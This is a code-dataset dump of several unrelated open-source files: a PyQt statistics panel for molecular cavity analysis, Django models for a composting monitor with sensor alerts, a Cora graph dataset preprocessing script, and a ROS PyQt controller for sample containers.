kwargs["surface"] is not None and kwargs["volume"] is not None: template_vars["surface_to_volume_ratio"] = kwargs["surface"] / kwargs["volume"] missing_values = tuple(key for key in needed_keys if key not in kwargs or kwargs[key] is None) template_vars.update((key, None) for key in missing_values) template_vars["missing_values"] = missing_values if len(missing_values) > 0 else None return template.render(template_vars) def render_html_cavity_surface_group(number, surface_area, surface_volumes, volume_fraction): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavities_surface.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of atoms", "description": "a summary of all calculated surface based cavities", "number": number, "surface_area": surface_area, "surface_volumes": surface_volumes, "volume_fraction": volume_fraction, } return template.render(template_vars) def render_html_cavity_surface_group_unknown(): template_loader = jinja2.FileSystemLoader( searchpath="gui/tabs/statistics/templates" ) template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavities_surface_unknown.html' template = template_env.get_template( TEMPLATE_FILE ) return template.render({}) def render_html_cavity_surface(**kwargs): needed_keys = ('index', 'surface', 'volume', 'domains', 'volume_fraction', 'mass_center', 'squared_gyration_radius', 'asphericity', 'acylindricity', 'anisotropy', 'characteristic_radius', 'is_cyclic') template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavity_surface.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = dict(kwargs) template_vars["title"] = "Summary of one cavity (domain)" template_vars["description"] = "a summary of one calculated cavities (domain)" if kwargs["surface"] is not None and kwargs["volume"] is not None: template_vars["surface_to_volume_ratio"] = kwargs["surface"] / kwargs["volume"] missing_values = tuple(key for key in needed_keys if key not in kwargs or kwargs[key] is None) template_vars.update((key, None) for key in missing_values) template_vars["missing_values"] = missing_values if len(missing_values) > 0 else None return template.render(template_vars) def render_html_cavity_domain_group(number, surface_area, surface_volumes, surface_volumes_fractions): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'domains.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of all cavities (domains)", "description": "a summary of all calculated cavities (domains)", "number": number, "surface_area": surface_area, "surface_volumes": surface_volumes, "surface_volumes_fractions": surface_volumes_fractions, } return template.render(template_vars) def render_html_cavity_domain_group_unknown(): template_loader = jinja2.FileSystemLoader( searchpath="gui/tabs/statistics/templates" ) template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'domains_unknown.html' template = template_env.get_template( TEMPLATE_FILE ) return template.render({}) def render_html_cavity_domain(**kwargs): needed_keys = ('index', 'center', 'surface', 'volume', 'volume_fraction', 'surface_cavity_index', 'center_cavity_index', 'mass_center', 'squared_gyration_radius', 'asphericity', 'acylindricity', 'anisotropy', 'characteristic_radius', 'is_cyclic') template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'domain.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = dict(kwargs) template_vars["title"] = "Summary of one cavity (domain)" template_vars["description"] = "a summary of one calculated cavities (domain)" if kwargs["surface"] is not None and kwargs["volume"] is not None: template_vars["surface_to_volume_ratio"] = kwargs["surface"] / kwargs["volume"] missing_values = tuple(key for key in needed_keys if key not in kwargs or kwargs[key] is None) template_vars.update((key, None) for key in missing_values) template_vars["missing_values"] = missing_values if len(missing_values) > 0 else None return template.render(template_vars) class HTMLWindow(QtWidgets.QWidget): def __init__(self): QtWidgets.QWidget.__init__(self) box = QtWidgets.QVBoxLayout() self.webview = WebWidget(css_filepath='gui/tabs/statistics/templates/style.css') self.atoms = None self.cavities_center = None self.cavities_surface = None self.domains = None self.discretization = None self.tree_list = None self.webview.set_gui_html(None) self.webview.gui_link_clicked.connect(self.link_clicked) box.addWidget(self.webview) self.setLayout(box) box.setContentsMargins(5, 0, 0, 0) self.show() def minimumSizeHint(self): return QtCore.QSize(150, -1) def sizeHint(self): return QtCore.QSize(250, -1) def link_clicked(self, value): value = value.split("/") if value[0] == "surface_cavity": self.show_surface_cavity(int(value[1])-1) elif value[0] == "center_cavity": self.show_center_cavity(int(value[1])-1) elif value[0] == "domain": self.show_domain(int(value[1])-1) elif value[0] == "focus": position = [float(value[1]),float(value[2]),float(value[3])] self.window().control.visualization.set_focus_on(*position) self.window().center.gl_widget.update() self.window().center.combo.setCurrentIndex(0) self.window().center.gl_stack.setCurrentIndex(0) elif value[0] == "atom": self.show_atom(int(value[1])) elif value[0] == 'hideothers': parent = self.parent() while parent.parent(): parent = parent.parent() main_window = parent view_tab = main_window.view_dock.view_tab if value[1] == 'atom': atom_index = int(value[2])-1 view_tab.atom_check.indices = [atom_index] view_tab.atom_check.selection_checkbox_set_checked(True) elif value[1] == 'element': element = core.elements.names[int(value[2])] visible_atom_indices = [] for i, element_name in enumerate(self.atoms.elements): if core.elements.names[core.elements.numbers[element_name.upper()]] == element: visible_atom_indices.append(i) view_tab.atom_check.indices = visible_atom_indices view_tab.atom_check.selection_checkbox_set_checked(True) elif value[1] == 'domain': domain_index = int(value[2])-1 view_tab.domain_check.indices = [domain_index] view_tab.domain_check.selection_checkbox_set_checked(True) elif value[1] == 'surface_cavity': surface_cavity_index = int(value[2])-1 view_tab.surface_cavity_check.indices = [surface_cavity_index] view_tab.surface_cavity_check.selection_checkbox_set_checked(True) elif value[1] == 'center_cavity': center_cavity_index = int(value[2])-1 view_tab.center_cavity_check.indices = [center_cavity_index] view_tab.center_cavity_check.selection_checkbox_set_checked(True) elif value[0] == 'addtovisible': parent = self.parent() while parent.parent(): parent = parent.parent() main_window = parent view_tab = main_window.view_dock.view_tab if value[1] == 'atom': atom_index = int(value[2])-1 view_tab.domain_check.add_indices([atom_index]) elif value[1] == 'domain': domain_index = int(value[2])-1 view_tab.domain_check.add_indices([domain_index]) elif value[1] == 'surface_cavity': surface_cavity_index = int(value[2])-1 view_tab.surface_cavity_check.add_indices([surface_cavity_index]) elif value[1] == 'center_cavity': center_cavity_index = int(value[2])-1 view_tab.center_cavity_check.add_indices([center_cavity_index]) elif value[0] == 'showall': parent = self.parent() while parent.parent(): parent = parent.parent() main_window = parent view_tab = main_window.view_dock.view_tab if value[1] == 'atoms': view_tab.atom_check.setChecked(True) view_tab.atom_check.selection_checkbox_set_checked(False) if value[1] == 'domains': view_tab.domain_check.setChecked(True) view_tab.domain_check.selection_checkbox_set_checked(False) if value[1] == 'surface_cavities': view_tab.surface_cavity_check.setChecked(True) view_tab.surface_cavity_check.selection_checkbox_set_checked(False) if value[1] == 'center_cavities': view_tab.center_cavity_check.setChecked(True) view_tab.center_cavity_check.selection_checkbox_set_checked(False) elif value[0] == 'recalculate': parent = self.parent() while parent.parent(): parent = parent.parent() main_window = parent file_tab = main_window.file_dock.file_tab current_filename, current_frame = file_tab.last_shown_filename_with_frame file_tab.calculate({current_filename: [current_frame]}) def update_results(self, results): self.atoms = results.atoms self.cavities_center = results.center_cavities self.cavities_surface = results.surface_cavities self.domains = results.domains self.discretization = Discretization(results.atoms.volume, results.resolution, True) self.show_atom_group() def show_atom_group(self): atom_number = self.atoms.number atom_elements = Counter(self.atoms.elements) self.webview.set_gui_html(render_html_atom_group(atom_number, atom_elements)) def show_atom(self, index): if self.tree_list is not None: self.tree_list.select_atom(index) atom_name = self.atoms.elements[index] atom_fullname = core.elements.names[core.elements.numbers[atom_name.upper()]] atom_color_rgb = core.elements.colors[core.elements.numbers[atom_name.upper()]] atom_positions = self.atoms.positions[index] atom_number = core.elements.numbers[atom_name.upper()] covalent_radius = self.atoms.covalence_radii[index] cutoff_radius = self.atoms.radii[index] bonds = self.atoms.bonds[index] self.webview.set_gui_html(render_html_atom(index, atom_fullname, atom_positions, atom_number, covalent_radius, cutoff_radius, atom_color_rgb, bonds)) def show_center_cavity_group(self): number = 0 surface_area = 0.0 volumes = 0.0 volume_fraction = 0.0 if self.cavities_center is None: self.webview.set_gui_html(render_html_cavity_center_group_unknown()) return number = self.cavities_center.number for sf in self.cavities_center.surface_areas: surface_area += sf for vl in self.cavities_center.volumes: volumes += vl if self.atoms.volume is not None: volume_fraction = (volumes/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_center_group(number, surface_area, volumes, volume_fraction)) def show_center_cavity(self, index): if self.tree_list is not None: self.tree_list.select_center_cavity(index) attrs = self._create_attr_getter(self.cavities_center, index) data = {} data['index'] = index data['volume_fraction'] = 0.0 cavities = attrs.multicavities domains = [] for cavity in cavities: domains.append((cavity+1, self.discretization.discrete_to_continuous(self.domains.centers[cavity]))) data['domains'] = domains data['surface'] = attrs.surface_areas data['volume'] = attrs.volumes data['mass_center'] = attrs.mass_centers data['squared_gyration_radius'] = attrs.squared_gyration_radii data['asphericity'] = attrs.asphericities data['acylindricity'] = attrs.acylindricities data['anisotropy'] = attrs.anisotropies data['characteristic_radius'] = attrs.characteristic_radii data['is_cyclic'] = index in self.cavities_center.cyclic_area_indices if self.atoms.volume is not None: data['volume_fraction'] = (data['volume']/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_center(**data)) def show_surface_cavity_group(self): number = 0 surface_area = 0.0 volumes = 0.0 volume_fraction = 0.0 if self.cavities_surface is None: self.webview.set_gui_html(render_html_cavity_surface_group_unknown()) return number = self.cavities_surface.number for sf in self.cavities_surface.surface_areas: surface_area += sf for vl in self.cavities_surface.volumes: volumes += vl if self.atoms.volume is not None: volume_fraction = (volumes/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_surface_group(number, surface_area, volumes, volume_fraction)) def show_surface_cavity(self, index): if self.tree_list is not None: self.tree_list.select_surface_cavity(index) attrs = self._create_attr_getter(self.cavities_surface, index) data = {} data['index'] = index data['volume_fraction'] = 0.0 cavities = attrs.multicavities domains = [] for cavity in cavities: domains.append((cavity+1, self.discretization.discrete_to_continuous(self.domains.centers[cavity]))) data['domains'] = domains data['surface'] = attrs.surface_areas data['volume'] = attrs.volumes data['mass_center'] = attrs.mass_centers data['squared_gyration_radius'] = attrs.squared_gyration_radii data['asphericity'] = attrs.asphericities data['acylindricity'] = attrs.acylindricities data['anisotropy'] = attrs.anisotropies data['characteristic_radius'] = attrs.characteristic_radii data['is_cyclic'] = index in self.cavities_surface.cyclic_area_indices if self.atoms.volume is not None: data['volume_fraction'] = (data['volume']/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_surface(**data)) def show_domain_group(self): number = 0 surface = 0.0 volumes = 0.0 volume_fraction = 0.0 if self.domains is None: self.webview.set_gui_html(render_html_cavity_domain_group_unknown()) return number = self.domains.number for sf in self.domains.surface_areas: surface += sf for vl in self.domains.volumes: volumes += vl if self.atoms.volume is not None: volume_fraction = (volumes/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_domain_group(number, surface, volumes, volume_fraction)) def show_domain(self, index): if self.tree_list is not None: self.tree_list.select_domain(index) attrs = self._create_attr_getter(self.domains, index) data = {} data['index'] = index discrete_center = attrs.centers data['center'] = self.discretization.discrete_to_continuous(discrete_center) data['surface'] = attrs.surface_areas data['volume'] = attrs.volumes data['volume_fraction'] = 0.0 data['surface_cavity_index'] = None data['center_cavity_index'] = None data['mass_center'] = attrs.mass_centers data['squared_gyration_radius'] = attrs.squared_gyration_radii data['asphericity'] = attrs.asphericities data['acylindricity'] = attrs.acylindricities data['anisotropy'] = attrs.anisotropies data['characteristic_radius'] = attrs.characteristic_radii data['is_cyclic'] = index in self.domains.cyclic_area_indices if self.atoms.volume is not None: data['volume_fraction'] = (data['volume']/self.atoms.volume.volume)*100 if self.domains is not None and self.cavities_surface is not None: for i in range(len(self.cavities_surface.multicavities)): if index in self.cavities_surface.multicavities[i]: data['surface_cavity_index'] = i+1 break if self.domains is not None and self.cavities_center is not None: for i in range(len(self.cavities_center.multicavities)): if index in self.cavities_center.multicavities[i]: data['center_cavity_index'] = i+1 break self.webview.set_gui_html(render_html_cavity_domain(**data)) @staticmethod def _create_attr_getter(obj, index): class AttrGetter(object): def __init__(self, obj, index): self._obj = obj self._index = index def __getattr__(self, attr): value = getattr(self._obj, attr) is_numpy_array = isinstance(value, np.ndarray) if ((is_numpy_array and len(value.shape) > 0) or (not is_numpy_array and len(value) > 0)): return value[self._index] else: return None return AttrGetter(obj, index)
true
true
f73d6036f14f039aac3bc55ef3f988375ba45916
3,100
py
Python
composter/models.py
Projeto-ECOmposteira/composteira
35f9bc18ba7abe621dc725815d12880c2c302e3b
[ "MIT" ]
null
null
null
composter/models.py
Projeto-ECOmposteira/composteira
35f9bc18ba7abe621dc725815d12880c2c302e3b
[ "MIT" ]
null
null
null
composter/models.py
Projeto-ECOmposteira/composteira
35f9bc18ba7abe621dc725815d12880c2c302e3b
[ "MIT" ]
2
2021-06-18T02:59:17.000Z
2021-06-18T03:09:54.000Z
from djongo import models from datetime import * class MaterialType(models.Model): _id = models.ObjectIdField() typeName = models.CharField(max_length=255, blank=False) def __str__(self): return self.typeName class Material(models.Model): _id = models.ObjectIdField() materialType = models.ForeignKey(MaterialType, on_delete=models.CASCADE) name = models.CharField(max_length=127, blank=False) imageLink = models.CharField(max_length=1023, blank=False) def __str__(self): return self.name class Composter(models.Model): _id = models.ObjectIdField() supermarketId = models.IntegerField() macAddress = models.CharField(max_length=18, blank=False) name = models.CharField(max_length=127, blank=False) description = models.TextField() isActive = models.BooleanField(default=True) def __str__(self): return self.name class Alert(models.Model): _id = models.ObjectIdField() alertType = models.IntegerField() initDate = models.DateTimeField(auto_now_add=True) endDate = models.DateTimeField() description = models.TextField(max_length=1023, blank=False) composter = models.ForeignKey(Composter, on_delete=models.CASCADE) def __str__(self): return "{} - {}".format(self.initDate, self.description) class Measurement(models.Model): _id = models.ObjectIdField() composter = models.ForeignKey(Composter, on_delete=models.CASCADE) timestamp = models.DateTimeField(auto_now_add=True) co2 = models.FloatField(blank=False) ph = models.FloatField(blank=False) pressure = models.FloatField(blank=False) humidity = models.FloatField(blank=False) temperature = models.FloatField(blank=False) cn = models.FloatField(blank=False) oxigen = models.FloatField(blank=False) weight = models.FloatField(blank=False) def trigger_alerts(self): alert_description = "" if self.humidity>0.35: alert_description+="Humidade maior que 35%, " if self.ph>8.0: alert_description+="PH maior que 8.0, " if self.ph<6.0: alert_description+="PH menor que 6.0, " if self.cn<20: alert_description+="Relação Carbono/Nitrogenio menor que 20/1, " if self.oxigen>0.6: alert_description+="Aeração maior que 60%, " if self.oxigen<0.1: alert_description+="Aeração menor que 10%, " if self.temperature<10: alert_description+="Temperatura menor que 10°C, " if self.temperature>80: alert_description+="Temperatura maior que 80°C, " if alert_description: Alert.objects.create( alertType=1, description=alert_description[:-2], composter=self.composter ) else: active_alerts = Alert.objects.filter(composter=self.composter, endDate=None, alertType=1) for each in active_alerts: each.endDate = datetime.now() each.save()
33.695652
101
0.652581
from djongo import models from datetime import * class MaterialType(models.Model): _id = models.ObjectIdField() typeName = models.CharField(max_length=255, blank=False) def __str__(self): return self.typeName class Material(models.Model): _id = models.ObjectIdField() materialType = models.ForeignKey(MaterialType, on_delete=models.CASCADE) name = models.CharField(max_length=127, blank=False) imageLink = models.CharField(max_length=1023, blank=False) def __str__(self): return self.name class Composter(models.Model): _id = models.ObjectIdField() supermarketId = models.IntegerField() macAddress = models.CharField(max_length=18, blank=False) name = models.CharField(max_length=127, blank=False) description = models.TextField() isActive = models.BooleanField(default=True) def __str__(self): return self.name class Alert(models.Model): _id = models.ObjectIdField() alertType = models.IntegerField() initDate = models.DateTimeField(auto_now_add=True) endDate = models.DateTimeField() description = models.TextField(max_length=1023, blank=False) composter = models.ForeignKey(Composter, on_delete=models.CASCADE) def __str__(self): return "{} - {}".format(self.initDate, self.description) class Measurement(models.Model): _id = models.ObjectIdField() composter = models.ForeignKey(Composter, on_delete=models.CASCADE) timestamp = models.DateTimeField(auto_now_add=True) co2 = models.FloatField(blank=False) ph = models.FloatField(blank=False) pressure = models.FloatField(blank=False) humidity = models.FloatField(blank=False) temperature = models.FloatField(blank=False) cn = models.FloatField(blank=False) oxigen = models.FloatField(blank=False) weight = models.FloatField(blank=False) def trigger_alerts(self): alert_description = "" if self.humidity>0.35: alert_description+="Humidade maior que 35%, " if self.ph>8.0: alert_description+="PH maior que 8.0, " if self.ph<6.0: alert_description+="PH menor que 6.0, " if self.cn<20: alert_description+="Relação Carbono/Nitrogenio menor que 20/1, " if self.oxigen>0.6: alert_description+="Aeração maior que 60%, " if self.oxigen<0.1: alert_description+="Aeração menor que 10%, " if self.temperature<10: alert_description+="Temperatura menor que 10°C, " if self.temperature>80: alert_description+="Temperatura maior que 80°C, " if alert_description: Alert.objects.create( alertType=1, description=alert_description[:-2], composter=self.composter ) else: active_alerts = Alert.objects.filter(composter=self.composter, endDate=None, alertType=1) for each in active_alerts: each.endDate = datetime.now() each.save()
true
true
f73d6065dafa2ae49e0daa5c521580e9a5605366
4,441
py
Python
examples/data/cora.py
acezen/graph-learn
05292e25b66c4505abb2804903bb838de4cd5e43
[ "Apache-2.0" ]
1,088
2020-03-26T10:40:53.000Z
2022-03-31T01:27:21.000Z
examples/data/cora.py
Seventeen17/graph-learn
77bd92f960e4d178a3606444684f7f04c7f5b738
[ "Apache-2.0" ]
134
2020-03-27T12:49:43.000Z
2022-03-31T09:39:40.000Z
examples/data/cora.py
Seventeen17/graph-learn
77bd92f960e4d178a3606444684f7f04c7f5b738
[ "Apache-2.0" ]
230
2020-03-27T07:16:30.000Z
2022-03-29T01:57:47.000Z
# Copyright 2020 Alibaba Group Holding Limited. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================= """Preprocess cora dataset and generate node, edge, train, val, test table. Used by GCN, GAT, GraphSage supervised training. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import numpy as np import scipy.sparse as sp from utils import download, extract def preprocess(dataset): # process node table node_table = "{}/node_table".format(dataset) edge_table = "{}/edge_table".format(dataset) edge_table_with_self_loop = '{}/edge_table_with_self_loop'.format(dataset) train_table = "{}/train_table".format(dataset) val_table = "{}/val_table".format(dataset) test_table = "{}/test_table".format(dataset) idx_features_labels = np.genfromtxt(dataset + "/cora.content", dtype=np.dtype(str)) if not os.path.exists(edge_table_with_self_loop): idx = np.array(idx_features_labels[:, 0], dtype=np.int32) features = sp.csr_matrix(idx_features_labels[:, 1:-1], dtype=np.float32) features = feature_normalize(features) features = np.array(features.todense()) labels = encode_label(idx_features_labels[:, -1]) node_idxs = [] with open(node_table, 'w') as f: f.write("id:int64" + "\t" + "label:int64" + "\t" + "feature:string" + "\n") for i in range(idx.shape[0]): f.write(str(idx[i]) + "\t" + str(labels[i]) + "\t" + str(":".join(map(str, features[i]))) + "\n") node_idxs.append(str(idx[i])) with open(train_table, 'w') as f: f.write("id:int64" + "\t" + "weight:float" + "\n") for i in range(140): f.write(str(idx[i]) + "\t" + str(1.0) + "\n") with open(val_table, 'w') as f: f.write("id:int64" + "\t" + "weight:float" + "\n") for i in range(200, 500): f.write(str(idx[i]) + "\t" + str(1.0) + "\n") with open(test_table, 'w') as f: f.write("id:int64" + "\t" + "weight:float" + "\n") for i in range(500, 1500): f.write(str(idx[i]) + "\t" + str(1.0) + "\n") # process edge table edges = np.genfromtxt(dataset + "/cora.cites", dtype=np.int32) with open(edge_table, 'w') as f: f.write("src_id: int64" + "\t" + "dst_id: int64" + "\t" + "weight: double" + "\n") for i in range(edges.shape[0]): f.write(str(edges[i][0]) + "\t" + str(edges[i][1]) + "\t" + "0.0" + "\n") with open(edge_table_with_self_loop, 'w') as f: f.write("src_id: int64" + "\t" + "dst_id: int64" + "\t" + "weight: double" + "\n") for i in range(edges.shape[0]): if edges[i][0] != edges[i][1]: f.write(str(edges[i][0]) + "\t" + str(edges[i][1]) + "\t" + "0.0" + "\n") for idx in node_idxs: f.write(idx + '\t' + idx + '\t' + '0.0' + '\n') print("Data Process Done.") return print("Data {} has exist.".format(dataset)) def encode_label(labels): classes = list(sorted(set(labels))) classes_dict = {c: i for i, c in enumerate(classes)} labels_int64 = np.array(list(map(classes_dict.get, labels)), dtype=np.int64) return labels_int64 def feature_normalize(sparse_matrix): """Normalize sparse matrix feature by row. Reference: DGL(https://github.com/dmlc/dgl). """ row_sum = np.array(sparse_matrix.sum(1)) row_norm = np.power(row_sum, -1).flatten() row_norm[np.isinf(row_norm)] = 0. row_matrix_norm = sp.diags(row_norm) sparse_matrix = row_matrix_norm.dot(sparse_matrix) return sparse_matrix if __name__ == "__main__": download('http://graph-learn-dataset.oss-cn-zhangjiakou.aliyuncs.com/cora.zip', 'cora.zip') extract('cora.zip', 'cora') preprocess('cora')
38.284483
93
0.60707
from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import numpy as np import scipy.sparse as sp from utils import download, extract def preprocess(dataset): node_table = "{}/node_table".format(dataset) edge_table = "{}/edge_table".format(dataset) edge_table_with_self_loop = '{}/edge_table_with_self_loop'.format(dataset) train_table = "{}/train_table".format(dataset) val_table = "{}/val_table".format(dataset) test_table = "{}/test_table".format(dataset) idx_features_labels = np.genfromtxt(dataset + "/cora.content", dtype=np.dtype(str)) if not os.path.exists(edge_table_with_self_loop): idx = np.array(idx_features_labels[:, 0], dtype=np.int32) features = sp.csr_matrix(idx_features_labels[:, 1:-1], dtype=np.float32) features = feature_normalize(features) features = np.array(features.todense()) labels = encode_label(idx_features_labels[:, -1]) node_idxs = [] with open(node_table, 'w') as f: f.write("id:int64" + "\t" + "label:int64" + "\t" + "feature:string" + "\n") for i in range(idx.shape[0]): f.write(str(idx[i]) + "\t" + str(labels[i]) + "\t" + str(":".join(map(str, features[i]))) + "\n") node_idxs.append(str(idx[i])) with open(train_table, 'w') as f: f.write("id:int64" + "\t" + "weight:float" + "\n") for i in range(140): f.write(str(idx[i]) + "\t" + str(1.0) + "\n") with open(val_table, 'w') as f: f.write("id:int64" + "\t" + "weight:float" + "\n") for i in range(200, 500): f.write(str(idx[i]) + "\t" + str(1.0) + "\n") with open(test_table, 'w') as f: f.write("id:int64" + "\t" + "weight:float" + "\n") for i in range(500, 1500): f.write(str(idx[i]) + "\t" + str(1.0) + "\n") edges = np.genfromtxt(dataset + "/cora.cites", dtype=np.int32) with open(edge_table, 'w') as f: f.write("src_id: int64" + "\t" + "dst_id: int64" + "\t" + "weight: double" + "\n") for i in range(edges.shape[0]): f.write(str(edges[i][0]) + "\t" + str(edges[i][1]) + "\t" + "0.0" + "\n") with open(edge_table_with_self_loop, 'w') as f: f.write("src_id: int64" + "\t" + "dst_id: int64" + "\t" + "weight: double" + "\n") for i in range(edges.shape[0]): if edges[i][0] != edges[i][1]: f.write(str(edges[i][0]) + "\t" + str(edges[i][1]) + "\t" + "0.0" + "\n") for idx in node_idxs: f.write(idx + '\t' + idx + '\t' + '0.0' + '\n') print("Data Process Done.") return print("Data {} has exist.".format(dataset)) def encode_label(labels): classes = list(sorted(set(labels))) classes_dict = {c: i for i, c in enumerate(classes)} labels_int64 = np.array(list(map(classes_dict.get, labels)), dtype=np.int64) return labels_int64 def feature_normalize(sparse_matrix): row_sum = np.array(sparse_matrix.sum(1)) row_norm = np.power(row_sum, -1).flatten() row_norm[np.isinf(row_norm)] = 0. row_matrix_norm = sp.diags(row_norm) sparse_matrix = row_matrix_norm.dot(sparse_matrix) return sparse_matrix if __name__ == "__main__": download('http://graph-learn-dataset.oss-cn-zhangjiakou.aliyuncs.com/cora.zip', 'cora.zip') extract('cora.zip', 'cora') preprocess('cora')
true
true
f73d6140a83b2ab3bd0dd3bf09db9ff4114e708a
161
py
Python
birding_ear/admin-working.py
annerainywoods/birding_ear
2268d1286be9cf71ae0295efac77b81ccb8432dc
[ "MIT" ]
null
null
null
birding_ear/admin-working.py
annerainywoods/birding_ear
2268d1286be9cf71ae0295efac77b81ccb8432dc
[ "MIT" ]
null
null
null
birding_ear/admin-working.py
annerainywoods/birding_ear
2268d1286be9cf71ae0295efac77b81ccb8432dc
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Bird, State, Bird_type admin.site.register(Bird) admin.site.register(State) admin.site.register(Bird_type)
23
42
0.813665
from django.contrib import admin from .models import Bird, State, Bird_type admin.site.register(Bird) admin.site.register(State) admin.site.register(Bird_type)
true
true
f73d617e1f8f014f1878eff32f1f1bfc54ec1d7b
4,873
py
Python
Containers/containers_controller.py
sagocz/Exploration-Robot-GUI
3d4ffb88273987a25d7df8d5a29c2fbfd9ab4163
[ "MIT" ]
null
null
null
Containers/containers_controller.py
sagocz/Exploration-Robot-GUI
3d4ffb88273987a25d7df8d5a29c2fbfd9ab4163
[ "MIT" ]
null
null
null
Containers/containers_controller.py
sagocz/Exploration-Robot-GUI
3d4ffb88273987a25d7df8d5a29c2fbfd9ab4163
[ "MIT" ]
null
null
null
#!/usr/bin/env python from containers_publisher import containersSending from containers_subscriber import containersReceiver from containers_ui import Ui_containersUi from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtCore import QObject, QRect import rospy greenControl = "../src/containers_gui/src/resources/images/circle_green.svg" redControl = "../src/containers_gui/src/resources/images/circle_red.svg" class labProbeController(Ui_containersUi, QObject): #setup elements on gui def setupUi(self, Form): Ui_containersUi.setupUi(self, Form) self.textToSend = "" #initializating Sending self.containersPublisher = containersSending() self.containersSubscriber = containersReceiver() # connecting elements self.firstContainerOpen.clicked.connect(self.firstContainerOpenClicked) self.firstContainerClose.clicked.connect(self.firstContainerCloseClicked) self.secondContainerOpen.clicked.connect(self.secondContainerOpenClicked) self.secondContainerClose.clicked.connect(self.secondContainerCloseClicked) self.thirdContainerOpen.clicked.connect(self.thirdContainerOpenClicked) self.thirdContainerClose.clicked.connect(self.thirdContainerCloseClicked) self.containersSubscriber.containersSignal.connect(self.updateOne) self.containersSubscriber.containersSignal.connect(self.updateTwo) self.containersSubscriber.containersSignal.connect(self.updateThree) self.containersSubscriber.containersSignal.connect(self.updateState) self.firstCalibrationSend.clicked.connect(self.firstCalibrationSendClicked) self.secondCalibrationSend.clicked.connect(self.secondCalibrationSendClicked) self.thirdCalibrationSend.clicked.connect(self.thirdCalibrationSendClicked) ### CHANGE OF INDICATORS COLOR @QtCore.pyqtSlot() def updateState(self): first = self.containersSubscriber.firstServoActual second = self.containersSubscriber.secondServoActual third = self.containersSubscriber.thirdServoActual if first == True: self.indicatorOne.setPixmap(QtGui.QPixmap(redControl)) elif first == False: self.indicatorOne.setPixmap(QtGui.QPixmap(greenControl)) if second == True: self.indicatorTwo.setPixmap(QtGui.QPixmap(redControl)) elif second == False: self.indicatorTwo.setPixmap(QtGui.QPixmap(greenControl)) if third == True: self.indicatorThree.setPixmap(QtGui.QPixmap(redControl)) elif third == False: self.indicatorThree.setPixmap(QtGui.QPixmap(greenControl)) ### CONTAINERS OPEN / CLOSE CONTROL ### @QtCore.pyqtSlot() def firstContainerOpenClicked(self): self.containersPublisher.containerOne(True) @QtCore.pyqtSlot() def firstContainerCloseClicked(self): self.containersPublisher.containerOne(False) @QtCore.pyqtSlot() def secondContainerOpenClicked(self): self.containersPublisher.containerTwo(True) @QtCore.pyqtSlot() def secondContainerCloseClicked(self): self.containersPublisher.containerTwo(False) @QtCore.pyqtSlot() def thirdContainerOpenClicked(self): self.containersPublisher.containerThree(True) @QtCore.pyqtSlot() def thirdContainerCloseClicked(self): self.containersPublisher.containerThree(False) ### UPDATE OF TENSOMETRIC BEAM MEASUREMENT ### @QtCore.pyqtSlot() def updateOne(self): self.firstContainerMeasurement.display(self.containersSubscriber.containersMeasurementOne) @QtCore.pyqtSlot() def updateTwo(self): self.secondContainerMeasurement.display(self.containersSubscriber.containersMeasurementTwo) @QtCore.pyqtSlot() def updateThree(self): self.thirdContainerMeasurement.display(self.containersSubscriber.containersMeasurementThree) ### SENDING CALIBRATION PARAMETER ### @QtCore.pyqtSlot() def firstCalibrationSendClicked(self): textToSend = self.firstCalibrationValue.text() if textToSend == "": pass elif textToSend != "": self.containersPublisher.calibrationOne(int(textToSend)) @QtCore.pyqtSlot() def secondCalibrationSendClicked(self): textToSend = self.secondCalibrationValue.text() if textToSend == "": pass elif textToSend != "": self.containersPublisher.calibrationTwo(int(textToSend)) @QtCore.pyqtSlot() def thirdCalibrationSendClicked(self): textToSend = self.thirdCalibrationValue.text() if textToSend == "": pass elif textToSend != "": self.containersPublisher.calibrationThree(int(textToSend))
35.569343
100
0.711882
from containers_publisher import containersSending from containers_subscriber import containersReceiver from containers_ui import Ui_containersUi from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtCore import QObject, QRect import rospy greenControl = "../src/containers_gui/src/resources/images/circle_green.svg" redControl = "../src/containers_gui/src/resources/images/circle_red.svg" class labProbeController(Ui_containersUi, QObject): def setupUi(self, Form): Ui_containersUi.setupUi(self, Form) self.textToSend = "" self.containersPublisher = containersSending() self.containersSubscriber = containersReceiver() self.firstContainerOpen.clicked.connect(self.firstContainerOpenClicked) self.firstContainerClose.clicked.connect(self.firstContainerCloseClicked) self.secondContainerOpen.clicked.connect(self.secondContainerOpenClicked) self.secondContainerClose.clicked.connect(self.secondContainerCloseClicked) self.thirdContainerOpen.clicked.connect(self.thirdContainerOpenClicked) self.thirdContainerClose.clicked.connect(self.thirdContainerCloseClicked) self.containersSubscriber.containersSignal.connect(self.updateOne) self.containersSubscriber.containersSignal.connect(self.updateTwo) 